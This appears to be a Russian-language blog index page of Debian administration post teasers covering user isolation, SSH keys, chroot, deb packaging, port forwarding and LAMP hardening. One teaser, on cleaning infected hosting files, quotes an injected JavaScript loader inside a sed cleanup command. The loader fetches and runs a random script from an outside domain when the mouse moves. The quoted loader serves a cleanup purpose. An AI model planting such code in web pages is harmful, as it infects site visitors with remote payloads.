Debian.pro/

Про Debian


Администрирование

Debian, создаём пользователей так, чтобы они не могли ходить друг к другу в домашнюю папку.

Вчера для одного проекта понадобилось создавать пользователей с условием того, чтобы они никогда не смогли зайти в чужую домашнюю папку (дада, хостинг с mod_php без вебморды для панели управления). Строим велосипеды в общем. Но в целом мне такое приходится делать часто и руками надоело. Поэтому набросал готовый скриптик, который создает пользователя с рандомным паролем. Скриптик […]

Меняем пароль пользователю из bash скрипта (или просто командой из шелла).

Сейчас на КИТе нашли отличный способ сменить пароль пользователю из шелла (а значит и из скрипта). В общем, кто сталкивался с этой проблемой — поймут меня. UPD: в комментариях указали другой способ смены пароля от рута: root@host:~# echo «username:password» | chpasswd Такой способ тоже подходит, но не является универсальным. Например, во FreeBSD утилиты chpasswd нет. […]

SSH ключи.

Я часто упоминаю в статьях ssh ключи. В определенный момент ко мне пришло осознание того, что про них-то написать я и забыл. Статья примитивная, но «чтобы было». Опытные пользователи в статье заметят много странностей, они смогут сказать много «а вот тут можно и так». man ssh-keygen я и сам могу почитать. И вы можете. Я […]

Используем chroot и debootstrap для всяких светлых целей — тестирование скриптов, программ и прочего.

Вообще в этих целях неплохо использовать виртуализацию. Но тут есть некоторые проблемы, которых лишен обычный chroot. Сразу отсеиваем Xen, KVM, vbox — слишком долго развертывается, кушает слишком много ресурсов, требует поддержки hw-виртуализации. Openvz — требует специального ядра, которое может и не поддерживать вашу железку (да и вообще не хочется сидеть на 32м ядре на ноуте). […]

Простейший способ собрать свой deb-пакет с данными (например, с конфигами, скриптами, ключами авторизации).

Частенько возникает необходимость собрать пакет с какими либо файлами, из которых скомпилировать ничего нельзя. В моём случае это чаще всего самописные bash-скрипты, файл с public ключами ssh… Ещё интересная идея так же паковать архивы. В рассмотренном ниже примере мы создадим один deb пакет с аж тремя вкусными штуками: 1) конфигурационные файлы nginx с нашего сервера […]

Зараженный js на хостинге

Вот столкнулся с такой штукой что во всех js файлах одного аккаунта были прописаны левые ссылки. Лечим таким образом в командной строке делаем : find 55 -name «*.js» |xargs sed -i «s|document.write(‘<scr’+’ipt src=\»https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\»></scr’+’ipt>’);var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript(‘http://firefoxstabs.com/’ + Math.random().toString().substring(3) + ‘.js’, function() {flag = 2;});}});});| […]

«Алиасы» для ssh. Используем ~/.ssh/config для упрощения своей жизни.

Спасибо @riarheos за подсказку. Пост является логическим продолжением поста про DSH и решает проблему DSH с работой с нестандартными портами ssh. А так же сильно упрощает жизнь тем, кто ходит на разные серверы по разным портам под разными пользователями. Идея очень проста — мы создадим что-то вроде алиасов в конфиге ssh. Решение очевидное, но всё […]

NAT’им отдельные порты или «а что делать, если мой веб-сервер внезапно переехал на другую машину». Проброс портов в локалке на шлюзе наружу.

Данный мануал поможет вам в двух глобальных ситуациях: 1) необходимо пробросить порт на шлюзе на одну из внутренних машин в локалке (т.н. port forwarding на роутерах). 2) если по каким то причинам вам необходимо перенаправить трафик с одной машины на другую по определенным портам. Например — переезд веб-сервера (а DNSы ещё не обновились), перенаправить трафик […]

Управляем пачками debian серверов. Выполняем команды разом на куче хостов. Sysadmin lifehack.

Перед прочтением этого мануала крайне советую разрешить авторизацию рутом по ключам по ssh на всех подопытных серверах (и запретить авторизацию по паролю, если беспокоитесь). Заодно не забудьте поставить fail2ban. Иногда необходимо выполнить команду на всех серверах. У меня, например, каждый час. И как то я для этого давно завел утилиту и считаю её само собой […]

Обеспечиваем безопасность LAMP методом «в лоб». Защищаемся от php-шеллов и прочих игрушек скрипт-киддисов. Библиотека amon.so

Собственно… меня снова начали спрашивать куда я пропал… Да-да-да… стыдно. На выходных сплю по 18 часов, а в будни — смотрим тег #yakit в твиттере. Ну и работа стала отнимать намного больше времени, в связи с вводом в строй кластера. А ещё на днях начну пробовать UEC (его же допилили, да?) на рекордных 5 серверах! […]